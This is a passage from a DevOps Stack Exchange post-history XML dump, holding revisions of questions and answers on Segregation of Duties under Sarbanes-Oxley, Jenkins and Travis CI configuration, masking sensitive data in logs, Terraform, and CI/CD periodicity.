a Top-Down Risk Assessment, part of which will assess the risk of collusion and puts forward mitigation strategies.&#xD;&#xA;&#xD;&#xA;Within a company which employs DevOps practice and culture, where Developers routinely have access to both source control and production how can Segregation of Duties be achieved, or more generally how can the risk of collusion be mitigated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Separation_of_duties&#xD;&#xA;  [2]: https://landing.google.com/sre/interview/ben-treynor.html&#xD;&#xA;  [3]: http://queue.acm.org/detail.cfm?id=1142065&#xD;&#xA;  [4]: http://sarbanes-oxley-101.com/SOX-404.htm&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/United_States_Securities_and_Exchange_Commission&#xD;&#xA;  [6]: https://www.sec.gov/spotlight/soxcomp.htm" ContentLicense="CC BY-SA 3.0" />
  <row Id="1751" PostHistoryTypeId="1" PostId="559" RevisionGUID="47952fc2-46ab-4884-8f66-744e1e68cdef" CreationDate="2017-03-18T11:29:58.343" UserId="397" Text="What processes or tools enable Segregation of Duties when engineers both deploy and run code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1752" PostHistoryTypeId="3" PostId="559" RevisionGUID="47952fc2-46ab-4884-8f66-744e1e68cdef" CreationDate="2017-03-18T11:29:58.343" UserId="397" Text="&lt;sre&gt;&lt;financial-services&gt;&lt;operating-model&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1753" PostHistoryTypeId="2" PostId="560" RevisionGUID="f5594c2f-a9f6-4e3c-8d24-ad7871248e9d" CreationDate="2017-03-18T11:34:02.873" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1754" PostHistoryTypeId="1" PostId="560" RevisionGUID="f5594c2f-a9f6-4e3c-8d24-ad7871248e9d" CreationDate="2017-03-18T11:34:02.873" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1755" PostHistoryTypeId="2" PostId="561" RevisionGUID="38e692dd-e69a-4d26-9fc2-763cfed83261" CreationDate="2017-03-18T11:34:02.873" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1756" PostHistoryTypeId="1" PostId="561" RevisionGUID="38e692dd-e69a-4d26-9fc2-763cfed83261" CreationDate="2017-03-18T11:34:02.873" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1757" PostHistoryTypeId="5" PostId="203" RevisionGUID="77e2df28-01c0-41ac-9e2a-84c268623ef6" CreationDate="2017-03-18T13:17:21.967" UserId="3" Comment="Improves link format." Text="The &quot;[Embeddable Build Status Plugin][1]&quot; will do exactly that.&#xD;&#xA;&#xD;&#xA;Note: This requires your Jenkins server to be accessible from the internet if you're using GitHub because they cache all images in their CDN.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Embeddable+Build+Status+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="1758" PostHistoryTypeId="2" PostId="562" RevisionGUID="cbfa619d-e514-4f20-9d5c-61ce146a1ee5" CreationDate="2017-03-18T13:34:03.803" UserId="3" Text="Travis CI supports [deployment][1] on branch release by using the following syntax:&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      on:&#xD;&#xA;        branch: release&#xD;&#xA;&#xD;&#xA;The problem is that GitHub does not support it.&#xD;&#xA;&#xD;&#xA;As per [GitHub Releases Uploading][2] page at Travis CI:&#xD;&#xA;&#xD;&#xA;&gt; Please note that deploying GitHub Releases works only for tags, not for branches.&#xD;&#xA;&#xD;&#xA;For GitHub the only workaround is to push tags (e.g. `git push origin master --tags`).&#xD;&#xA;&#xD;&#xA;Or solution is to use different [supported provider][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.travis-ci.com/user/deployment&#xD;&#xA;  [2]: https://docs.travis-ci.com/user/deployment/releases/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1759" PostHistoryTypeId="2" PostId="563" RevisionGUID="d0d5d122-e28d-458d-a0cd-5adce3518108" CreationDate="2017-03-18T13:42:12.890" UserId="3" Text="All jobs (`jobs/`) and master config files (`config.xml`) can be found in [Jenkins home folder][1] (`JENKINS_HOME `) in the following structure:&#xD;&#xA;&#xD;&#xA;    JENKINS_HOME&#xD;&#xA;     +- config.xml     (jenkins root configuration)&#xD;&#xA;     +- *.xml          (other site-wide configuration files)&#xD;&#xA;     +- userContent    (files in this directory will be served under your http://server/userContent/)&#xD;&#xA;     +- fingerprints   (stores fingerprint records)&#xD;&#xA;     +- plugins        (stores plugins)&#xD;&#xA;     +- workspace (working directory for the version control system)&#xD;&#xA;         +- [JOBNAME] (sub directory for each job)&#xD;&#xA;     +- jobs&#xD;&#xA;         +- [JOBNAME]      (sub directory for each job)&#xD;&#xA;             +- config.xml     (job configuration file)&#xD;&#xA;             +- latest         (symbolic link to the last successful build)&#xD;&#xA;             +- builds&#xD;&#xA;                 +- [BUILD_ID]     (for each build)&#xD;&#xA;                     +- build.xml      (build result summary)&#xD;&#xA;                     +- log            (log file)&#xD;&#xA;                     +- changelog.xml  (change log)&#xD;&#xA;&#xD;&#xA;Most of the config are in XML format, so backing all `.xml` files should be enough.&#xD;&#xA;&#xD;&#xA;&gt; All the settings, build logs, artifact archives are stored under the JENKINS_HOME directory. Simply archive this directory to make a back up. Similarly, restoring the data is just replacing the contents of the JENKINS_HOME directory from a back up.&#xD;&#xA;&#xD;&#xA;&gt; Back ups can be taken without stopping the server, but when you restore, please do stop the server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;For consistent backups it is good practise to keep `JENKINS_HOME` directory under Git repository.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    cd $JENKINS_HOME&#xD;&#xA;    git init&#xD;&#xA;    shopt -s globstar&#xD;&#xA;    git add **/config.xml&#xD;&#xA;    git commit -m'Added job config files' -a&#xD;&#xA;&#xD;&#xA;and pushing the files to the external repository. You can also add the following [`.gitignore` file][2] to ignore some files.&#xD;&#xA;&#xD;&#xA;Related: [Is there a way to keep Hudson / Jenkins configuration files in source control?](http://stackoverflow.com/q/2087142/55075)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Administering+Jenkins&#xD;&#xA;  [2]: http://stackoverflow.com/a/38297609/55075" ContentLicense="CC BY-SA 3.0" />
  <row Id="1760" PostHistoryTypeId="4" PostId="554" RevisionGUID="5e8d15cd-070e-44c3-9882-89cdec387f53" CreationDate="2017-03-18T13:55:34.583" UserId="40" Comment="(Attempt to) make the question title more accurate" Text="How to secure sensitive data in log files created by available tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1761" PostHistoryTypeId="5" PostId="556" RevisionGUID="af4da3d6-b063-42cb-bec4-70671472640a" CreationDate="2017-03-18T14:04:24.600" UserId="40" Comment="added 125 characters in body" Text="Use this tag for DevOps related questions about 'Infrastructure as Code', which is a way to automate and backup environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="1762" PostHistoryTypeId="24" PostId="556" RevisionGUID="af4da3d6-b063-42cb-bec4-70671472640a" CreationDate="2017-03-18T14:04:24.600" Comment="Proposed by 40 approved by 3, 47 edit id of 154" ContentLicense="CC BY-SA 3.0" />
  <row Id="1763" PostHistoryTypeId="5" PostId="558" RevisionGUID="27816087-7f42-4e68-9f22-e0caa67d87d8" CreationDate="2017-03-18T14:04:42.367" UserId="40" Comment="added 63 characters in body" Text="Use this tag for question about clarifications of DevOps terms." ContentLicense="CC BY-SA 3.0" />
  <row Id="1764" PostHistoryTypeId="24" PostId="558" RevisionGUID="27816087-7f42-4e68-9f22-e0caa67d87d8" CreationDate="2017-03-18T14:04:42.367" Comment="Proposed by 40 approved by 3, 47 edit id of 155" ContentLicense="CC BY-SA 3.0" />
  <row Id="1765" PostHistoryTypeId="5" PostId="561" RevisionGUID="01035a6c-7216-4e95-ba7b-df7bc556f12a" CreationDate="2017-03-18T14:05:02.770" UserId="40" Comment="added 137 characters in body" Text="Use this tag for DevOps related questions about configuration, which is used to specify the desired settings of  a system or application." ContentLicense="CC BY-SA 3.0" />
  <row Id="1766" PostHistoryTypeId="24" PostId="561" RevisionGUID="01035a6c-7216-4e95-ba7b-df7bc556f12a" CreationDate="2017-03-18T14:05:02.770" Comment="Proposed by 40 approved by 3, 47 edit id of 156" ContentLicense="CC BY-SA 3.0" />
  <row Id="1767" PostHistoryTypeId="5" PostId="552" RevisionGUID="2158c8d1-d5c1-426f-94f3-3ba3e6bb0c6a" CreationDate="2017-03-18T14:37:58.703" UserId="46" Comment="deleted 6 characters in body" Text="Before explaining what it exactly is, let me quote a really nice definition, straight [from Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Infrastructure as Code (IaC) is the process of managing and&#xD;&#xA;&gt; provisioning computing infrastructure (processes, bare-metal servers,&#xD;&#xA;&gt; virtual servers, etc.) and their configuration through&#xD;&#xA;&gt; machine-processable definition files, rather than physical hardware&#xD;&#xA;&gt; configuration or the use of interactive configuration tools.&#xD;&#xA;&#xD;&#xA;Okay, now let's look at one such IaC tool, Terraform to understand the concept better: https://www.terraform.io/&#xD;&#xA;&#xD;&#xA;Also, this is what Terraform say about itself: &#xD;&#xA;&#xD;&#xA;&gt; Terraform enables you to safely and predictably create, change, and&#xD;&#xA;&gt; improve production infrastructure. It is an open source tool that&#xD;&#xA;&gt; codifies APIs into declarative configuration files that can be shared&#xD;&#xA;&gt; amongst team members, treated as code, edited, reviewed, and&#xD;&#xA;&gt; versioned.&#xD;&#xA;&#xD;&#xA;This means, one can code the entire infra. which includes creation of cloud(/infra) resources like the server instances, load balancers, etc, along with the complete configurations (which includes the basic settings tweaks, security settings, regions, etc) as code, which can be editable, versionable and of course, reviewable.&#xD;&#xA;&#xD;&#xA;This is a sample example of Terraform code for provisioning AWS resources:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elb&quot; &quot;frontend&quot; {&#xD;&#xA;      name = &quot;frontend-load-balancer&quot;&#xD;&#xA;      listener {&#xD;&#xA;        instance_port     = 8000&#xD;&#xA;        instance_protocol = &quot;http&quot;&#xD;&#xA;        lb_port           = 80&#xD;&#xA;        lb_protocol       = &quot;http&quot;&#xD;&#xA;      }&#xD;&#xA;     &#xD;&#xA;      instances = [&quot;${aws_instance.app.*.id}&quot;]&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;app&quot; {&#xD;&#xA;      count = 5&#xD;&#xA;     &#xD;&#xA;      ami           = &quot;ami-408c7f28&quot;&#xD;&#xA;      instance_type = &quot;t1.micro&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Bonus PS**: Also, one needs to understand the differences between [provisioning][2] and [orchestration][3] tools. Devs confuse one for the other very often and tend to make the mistake of trying to tweak and use a tool for what it is not intended to be used for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_Code&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Provisioning&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Orchestration_(computing)" ContentLicense="CC BY-SA 3.0" />
  <row Id="1768" PostHistoryTypeId="5" PostId="554" RevisionGUID="90c9cd94-425c-4e26-b50e-3b9a2e85f34c" CreationDate="2017-03-18T15:02:12.903" UserId="397" Comment="Added clarification to question title." Text="Working in highly regulated environments data is classified in different ways depending on the sensitivity. In some cases, this is legally enforced and must be treated differently.&#xD;&#xA;&#xD;&#xA;Examples of a data classification policy are:&#xD;&#xA;&#xD;&#xA; - **Highly Restricted** Data, such as Passwords, Private Keys, SAML Tokens, and Credit Card Numbers.&#xD;&#xA; - **Restricted** Data, such as Usernames and Customer IDs.&#xD;&#xA; - **Unrestricted** Data, pretty much anything else.&#xD;&#xA;&#xD;&#xA;This classification comes with certain obligations:&#xD;&#xA;&#xD;&#xA; - Any data that is **Highly Restricted** must never be made available in logfile under any circumstances.&#xD;&#xA;&#xD;&#xA; - **Restricted** data could be made available in log files under specific circumstances. For example, if an incident were to occur with a service then the on-call engineer would be able to enact a [Break-Glass][1] procedure to access this data to diagnose the problem - this Break-Glass procedure would, in turn, trigger a review, an audit, and possibly temporary revocation of privilege from that engineer.&#xD;&#xA;&#xD;&#xA;What strategies can be employed to achieve this, particularly given that there are a wide range of logging, monitoring and instrumentation tools available on the market that don't provide a direct answer to this problem?&#xD;&#xA;&#xD;&#xA;For example, both Splunk and AppDynamics have the ability to impose different access controls upon conditions of the telemetary being exposed; this means you can create a filter that masks out `&lt;customerId&gt;NNNNNNNNNNNN&lt;/customerId&gt;`.  However, neither of these tools give you the capability automatically identify credit card numbers and mask them automatically. &#xD;&#xA;&#xD;&#xA;  [1]: http://security-architect.com/how-to-balance-assurance-and-availability-in-pam-systems/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1769" PostHistoryTypeId="4" PostId="554" RevisionGUID="90c9cd94-425c-4e26-b50e-3b9a2e85f34c" CreationDate="2017-03-18T15:02:12.903" UserId="397" Comment="Added clarification to question title." Text="What strategies can be employed to secure sensitive data in log files?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1770" PostHistoryTypeId="5" PostId="554" RevisionGUID="ed5ab1e7-12b8-4869-a242-ec5acc7d9eb9" CreationDate="2017-03-18T16:41:30.257" UserId="40" Comment="Integrate comments from OPer " Text="Working in highly regulated environments data is classified in different ways depending on the sensitivity. In some cases, this is legally enforced and must be treated differently.&#xD;&#xA;&#xD;&#xA;Examples of a data classification policy are:&#xD;&#xA;&#xD;&#xA; - **Highly Restricted** Data, such as Passwords, Private Keys, SAML Tokens, and Credit Card Numbers.&#xD;&#xA; - **Restricted** Data, such as Usernames and Customer IDs.&#xD;&#xA; - **Unrestricted** Data, pretty much anything else.&#xD;&#xA;&#xD;&#xA;This classification comes with certain obligations:&#xD;&#xA;&#xD;&#xA; - Any data that is **Highly Restricted** must never be made available in logfile under any circumstances.&#xD;&#xA;&#xD;&#xA; - **Restricted** data could be made available in log files under specific circumstances. For example, if an incident were to occur with a service then the on-call engineer would be able to enact a [Break-Glass][1] procedure to access this data to diagnose the problem - this Break-Glass procedure would, in turn, trigger a review, an audit, and possibly temporary revocation of privilege from that engineer.&#xD;&#xA;&#xD;&#xA;What strategies can be employed to achieve this, particularly given that there are a wide range of logging, monitoring and instrumentation tools available on the market that don't provide a direct answer to this problem?&#xD;&#xA;&#xD;&#xA;For example, both Splunk and AppDynamics have the ability to impose different access controls upon conditions of the telemetary being exposed; this means you can create a filter that masks out `&lt;customerId&gt;NNNNNNNNNNNN&lt;/customerId&gt;`.  However, neither of these tools give you the capability automatically identify credit card numbers and mask them automatically.&#xD;&#xA;&#xD;&#xA;**Note**: I believe this is related to DevOps also, because whereas before a relatively small group of people could have access to the data and filter it manually, by devolving responsibility for operating platforms to development teams this data is potentially exposed to a far wider audience.&#xD;&#xA;&#xD;&#xA;  [1]: http://security-architect.com/how-to-balance-assurance-and-availability-in-pam-systems/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1771" PostHistoryTypeId="2" PostId="564" RevisionGUID="2bb30d84-86e6-4aaf-b623-db0a9c360dc2" CreationDate="2017-03-18T18:08:06.490" UserId="40" Text="Part of what (I think) CI and CD is about, is processes that get repeated over and over again (= the &quot;*continuous*&quot; part of it). However continuous in this context is not exactly (I think) like a river where water keeps going (flowing) all the time. Instead it's rather something happening every X seconds, minutes, hours etc.&#xD;&#xA;&#xD;&#xA;So assume some test-environment where every day, eg, from 5 pm to (max) 6 pm all required processes are executed to rebuild all executables that are impacted by the changed dependencies (sources, includes, etc), combined with appropriate CI/CD processes related to them. While before 5 pm and after 6 pm, none of these kinds of processes are allowed to be executed (eg to ensure the stability of the related environments).&#xD;&#xA;&#xD;&#xA;Does such kind of periodicity (= between 5 pm and 6 pm, every day) fit with CI/CD or not? Or is it rather that periodicity has nothing to do with CI/CD?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1772" PostHistoryTypeId="1" PostId="564" RevisionGUID="2bb30d84-86e6-4aaf-b623-db0a9c360dc2" CreationDate="2017-03-18T18:08:06.490" UserId="40" Text="What's the relevance of periodicity in CI / CD processes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1773" PostHistoryTypeId="3" PostId="564" RevisionGUID="2bb30d84-86e6-4aaf-b623-db0a9c360dc2" CreationDate="2017-03-18T18:08:06.490" UserId="40" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1774" PostHistoryTypeId="2" PostId="565" RevisionGUID="275e3efc-229c-4b49-a32b-a3b42be6d394" CreationDate="2017-03-18T18:47:47.190" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1775" PostHistoryTypeId="1" PostId="565" RevisionGUID="275e3efc-229c-4b49-a32b-a3b42be6d394" CreationDate="2017-03-18T18:47:47.190" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1776" PostHistoryTypeId="2" PostId="566" RevisionGUID="13fc313c-bfdd-4e23-a1f6-fbfc6487d734" CreationDate="2017-03-18T18:47:47.190" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1777" PostHistoryTypeId="1" PostId="566" RevisionGUID="13fc313c-bfdd-4e23-a1f6-fbfc6487d734" CreationDate="2017-03-18T18:47:47.190" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1778" PostHistoryTypeId="2" PostId="567" RevisionGUID="60b95e22-2d9e-4831-90ba-c0bb7a7c66ab" CreationDate="2017-03-18T18:52:55.087" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1779" PostHistoryTypeId="1" PostId="567" RevisionGUID="60b95e22-2d9e-4831-90ba-c0bb7a7c66ab" CreationDate="2017-03-18T18:52:55.087" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1780" PostHistoryTypeId="2" PostId="568" RevisionGUID="d13fd9b1-8901-4c29-9977-8b0fc49e1d18" CreationDate="2017-03-18T18:52:55.087" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1781" PostHistoryTypeId="1" PostId="568" RevisionGUID="d13fd9b1-8901-4c29-9977-8b0fc49e1d18" CreationDate="2017-03-18T18:52:55.087" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1782" PostHistoryTypeId="2" PostId="569" RevisionGUID="4b89eb8b-8be5-4b66-8ca0-68ff329763bd" CreationDate="2017-03-18T18:56:41.697" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1783" PostHistoryTypeId="1" PostId="569" RevisionGUID="4b89eb8b-8be5-4b66-8ca0-68ff329763bd" CreationDate="2017-03-18T18:56:41.697" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1784" PostHistoryTypeId="2" PostId="570" RevisionGUID="a061b32f-67b6-4255-ad65-b8376b9aef3d" CreationDate="2017-03-18T18:56:41.697" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1785" PostHistoryTypeId="1" PostId="570" RevisionGUID="a061b32f-67b6-4255-ad65-b8376b9aef3d" CreationDate="2017-03-18T18:56:41.697" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1786" PostHistoryTypeId="5" PostId="559" RevisionGUID="5da179da-5e70-4db3-814d-7262b50017f3" CreationDate="2017-03-18T19:25:17.850" UserId="397" Comment="Added some assumptions." Text="In highly regulated environments, such as the Financial Services sector, [Segregation of Duties][1] is an essential mechanism for avoiding collision amongst individuals with development responsibilities and production privileges.&#xD;&#xA;&#xD;&#xA;Traditionally this has meant that **Developers** develop code and then hand it over to **Operations** however in many DevOps Operating Models the segregation between Development and Operations is, at a minimum, blurred:&#xD;&#xA;&#xD;&#xA; - In Google's [Site Reliability Engineering][2], or SRE, practice there is a separate SRE function within Google, however, Developers are brought in to backstop the SREs in times of high operational load.&#xD;&#xA;&#xD;&#xA; - In the [&quot;You Build It, You Run It&quot;][3] model there is no separate operations function.&#xD;&#xA;&#xD;&#xA;After spending months drilling down to the root causes of a Segregation of Duties mechanism it seems it predominantly exists to satisfy [Sarbanes Oxley Section 404][4]: Management Assessment of Internal Controls:&#xD;&#xA;&#xD;&#xA;&gt; (a) Rules Required.&#xD;&#xA;&gt; The Commission shall prescribe rules requiring each annual report required by section 13(a) or 15(d) of the Securities Exchange Act of 1934 to contain an internal control report, which shall--&#xD;&#xA;&#xD;&#xA;&gt;   (1) state the responsibility of management for establishing and maintaining an adequate internal control structure and procedures for financial reporting; and&#xD;&#xA;&#xD;&#xA;&gt;   (2) contain an assessment, as of the end of the most recent fiscal year of the issuer, of the effectiveness of the internal control structure and procedures of the issuer for financial reporting.&#xD;&#xA;&#xD;&#xA;&gt;(b) Internal Control Evaluation and Reporting. On the internal control assessment required by subsection (a), each registered public accounting firm that prepares or issues the audit report for the issuer shall attest to, and report on, the assessment made by the management of the issuer. An attestation made under this subsection shall be made in accordance with standards for attestation engagements issued or adopted by the Board. Any such attestation shall not be the subject of a separate engagement.&#xD;&#xA;&#xD;&#xA;Based upon the comments it is important to call out a couple of **assumptions** I am making:&#xD;&#xA;&#xD;&#xA; - I am predominantly considering mass-market financial services, i.e. transaction volumes are high but relatively low value.  This would be as opposed to commercial financial services which has a different transaction value profile.&#xD;&#xA; - A financial institution's online offering will be made up of many components that have differing risk considerations:&#xD;&#xA;   - **Move Money** - Moving money between accounts or transfers between accounts of different owners.  An operation that has to consider Anti-Money Laundering, Fraud Protection, and Embargo'ed countries to name a few.&#xD;&#xA;   - **Customer Acquisition** - Less &quot;Risky&quot; as it has low transaction volumes compared to Move Money but still needs consideration.&#xD;&#xA;   - **Internet Banking** - Covers a wide range of services with varying levels of risk, Move Money would be considered part of this.&#xD;&#xA; - Conceivably a different approach could be taken for each depending on the risk, however, in the interests of keeping it simple, I am working towards a solution that would apply to some of the riskiest operations.&#xD;&#xA;&#xD;&#xA;**TL;DR**: It is the responsibility of the management to ensure that adequate internal controls are in place that comply with the [Securities and Exchange Commission's][5] [regulations][6]. &#xD;&#xA;&#xD;&#xA;Sarbanes Oxley 404 is normally satisfied through the completion of a Top-Down Risk Assessment, part of which will assess the risk of collusion and puts forward mitigation strategies.&#xD;&#xA;&#xD;&#xA;Within a company which employs DevOps practice and culture, where Developers routinely have access to both source control and production how can Segregation of Duties be achieved, or more generally how can the risk of collusion be mitigated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Separation_of_duties&#xD;&#xA;  [2]: https://landing.google.com/sre/interview/ben-treynor.html&#xD;&#xA;  [3]: http://queue.acm.org/detail.cfm?id=1142065&#xD;&#xA;  [4]: http://sarbanes-oxley-101.com/SOX-404.htm&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/United_States_Securities_and_Exchange_Commission&#xD;&#xA;  [6]: https://www.sec.gov/spotlight/soxcomp.htm" ContentLicense="CC BY-SA 3.0" />
  <row Id="1787" PostHistoryTypeId="4" PostId="504" RevisionGUID="f21c34cb-a41f-4f66-98ed-ce121b509e2b" CreationDate="2017-03-18T19:32:42.353" UserId="40" Comment="Improve title" Text="What are the Devops-related conferences happening around the world?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1789" PostHistoryTypeId="5" PostId="568" RevisionGUID="41a495dc-2c15-497f-b415-e03738ff0d67" CreationDate="2017-03-18T21:24:33.067" UserId="40" Comment="added 99 characters in body" Text="For questions about artifacts, which are the products of some process applied to a code repository." ContentLicense="CC BY-SA 3.0" />
  <row Id="1790" PostHistoryTypeId="24" PostId="568" RevisionGUID="41a495dc-2c15-497f-b415-e03738ff0d67" CreationDate="2017-03-18T21:24:33.067" Comment="Proposed by 40 approved by 228, 3 edit id of 158" ContentLicense="CC BY-SA 3.0" />
  <row Id="1791" PostHistoryTypeId="5" PostId="566" RevisionGUID="d56d4d16-ddd3-4c7d-887a-34c7a1cce6a4" CreationDate="2017-03-18T21:24:35.627" UserId="40" Comment="added 96 characters in body" Text="For questions about Travic CI, a hosted continuous integration service for open source projects." ContentLicense="CC BY-SA 3.0" />
  <row Id="1792" PostHistoryTypeId="24" PostId="566" RevisionGUID="d56d4d16-ddd3-4c7d-887a-34c7a1cce6a4" CreationDate="2017-03-18T21:24:35.627" Comment="Proposed by 40 approved by 228, 3 edit id of 157" ContentLicense="CC BY-SA 3.0" />
  <row Id="1793" PostHistoryTypeId="5" PostId="570" RevisionGUID="2a8501ef-00e6-42e7-ab30-9c49da58b3b7" CreationDate="2017-03-18T21:24:38.133" UserId="40" Comment="added 73 characters in body" Text="For questions about Puppet, a Ruby based configuration management system." ContentLicense="CC BY-SA 3.0" />
  <row Id="1794" PostHistoryTypeId="24" PostId="570" RevisionGUID="2a8501ef-00e6-42e7-ab30-9c49da58b3b7" CreationDate="2017-03-18T21:24:38.133" Comment="Proposed by 40 approved by 228, 3 edit id of 159" ContentLicense="CC BY-SA 3.0" />
  <row Id="1795" PostHistoryTypeId="5" PostId="547" RevisionGUID="cce53c9f-cb76-401a-bae1-b5179c7a2f9a" CreationDate="2017-03-19T00:33:34.463" UserId="677" Comment="added 33 characters in body" Text="Looking outside of DevOps specifically, if you are talking about large (ish) enterprise environments then the SAFe methodology has a fairly good way of encouraging this kind of behaviour&#xA;&#xA;Essentially it boils down to a few key stages:&#xA; &#xA; - projects start as release trains. The intent (and the expectation of whoever is funding it) is that it will be long running. I'm talking years long, none of this &quot;stand up a team for 3 months then stand them down&quot; business.&#xA; &#xA; - over the course of a project the release train will inevitably amass more people as more of both new project requirements based on newly realised business opportunities as well as the ongoing tax of maintenance style work.&#xA; &#xA; - I almost always see the trains run their first increment as 100% project/change teams, 2nd increment they allocate a percentage of time to Run work. 3rd increment management realise they are about to have a problem and starting adding teams to try and handle the Run overflow to give their now seasoned developers and engineers time to keep working on new requirements.&#xA; &#xA; - if the right balance is struck of project teams being able to keep delivering project outcomes without being bogged down to much in maintenamce work and new teams who join the train aren't immediately expected to just be 100% support teams, but instead take on a fair portion of the change work that was going to be handled then you end up with delivery teams who are owning the products they are building by default, it doesn't need to come at them all at once that now they are a Run team, instead it just slowly integrates into their day to day activities.&#xA;&#xA;Where this model obviously has some weaknesses is in the pricing for a business. Generally I'd expect to be paying a lot more for a change resource than a run resource, usually run contracts with major vendors are fixed price and the intent is that they make their money on continuous improvement and therefore cost savings.&#xA;&#xA;That being said, it isn't all that difficult to consider the change teams stood up as part of a release train to simply be delivering continuous improvements. If there is something they can build or do which will improve their ability to focus on new project deliveries and be less concerned with &quot;bausiness as usual&quot; work then that should be backlogged and prioritised based on the perceived benefits by whoever holds the money for the release train." ContentLicense="CC BY-SA 3.0" />
  <row Id="1796" PostHistoryTypeId="2" PostId="571" RevisionGUID="cb2d91f3-0696-4b88-8c8d-4804bcf1e3a0" CreationDate="2017-03-19T01:29:12.330" UserId="228" Text="This ultimately depends on the size and structure of the company. There are really three stages that your company can be in:&#xD;&#xA;&#xD;&#xA;  1. The startup stage (under 150 engineers). Of course, the developers need to run their own software. Everyone does so in a startup. You might not even have operations team to begin with, but even if you do, it is small and the speed of progress is so fast that there is no way to pass the knowledge required to run it successfully on another team quickly enough for them to be successful.&#xD;&#xA;&#xD;&#xA;  2. The medium sized business (over 150 engineers, but a single operations team).  At this stage the churn in the company starts to be too high, the engineers who build software do not necessarily stick around also to run it. You don't know everyone anymore and it is hard to communicate effectively for everyone to be in operations. It would start to turn into chaos. At this stage you want to turn to the Google model, where every team has to operationalize their software, but not necessarily operate it. They will operate it at the start, but a big part of building software is to reduce the cost of operating it to a point, where the load is small enough that the operations team can sign on running it. Only then it is considered done.&#xD;&#xA;&#xD;&#xA;  3. Large enterprise with multiple business units, (where each has its own operations team): At this stage you can turn back to the Amazon model, where every team essential develops and operates their own services. Each of the business units has to be small enough for everyone to know each others, so under about 150 engineers and you operate each essentially as a startup. Amazon has each AWS service operating more or less separately and it works for them.&#xD;&#xA;&#xD;&#xA;You have to figure out which stage your company is in and/or moving into and act accordingly. There is no &quot;one size fits all&quot; solution." ContentLicense="CC BY-SA 3.0" />
  <row Id="1797" PostHistoryTypeId="2" PostId="572" RevisionGUID="4e0c9065-e108-42cf-b202-160474df9b86" CreationDate="2017-03-19T04:43:39.137" UserId="47" Text="I would separate the CI and CD contexts, as the periodicity in one of them is rather loosely coupled to the periodicity in the other one. &#xD;&#xA;&#xD;&#xA;That's primarily because CI attempts to produce versions of software *available* for delivery/distribution, see http://devops.stackexchange.com/questions/488/how-does-continuous-integration-relate-to-continuous-delivery-deployment/493#493&#xD;&#xA;But not all CI executions are successful. CD periodicity will, at best, be equal to the CI one, but typically it will be lower.&#xD;&#xA;&#xD;&#xA;In CI the periodicity is tightly coupled to the desired development velocity (and maybe branch stability) and can be driven by different project-specific requirements. Here are just some examples of CI execution patterns, there could be others:&#xD;&#xA;&#xD;&#xA;1. launched for every changeset commit - the recommended one, as it offers the shortest time to identify a changeset causing a regression, see [Build on each commit - Continuous delivery][1]. Costs vary with the commit rates.&#xD;&#xA;&#xD;&#xA;2. launched every `N` (fixed number of) commits - trade culprit identification performance of #1 for slightly lower costs (overall fewer executions)&#xD;&#xA;&#xD;&#xA;3. launched every `T` (fixed) time interval&#xD;&#xA;&#xD;&#xA;  - fixed costs due to predictive amount of executions: no cost hikes for commit activity peaks, a day with twice the number of commits than another will still cost the same&#xD;&#xA;  - culprit identification performance drops vs #1 if multiple changesets are committed within `T`&#xD;&#xA;  - consecutive executions without any changeset committed in between offer measurements of the verification process reliability - different results in such executions could indicate unreliable verifications&#xD;&#xA;&#xD;&#xA;4. launched whenever resources for execution are available - if that's where the 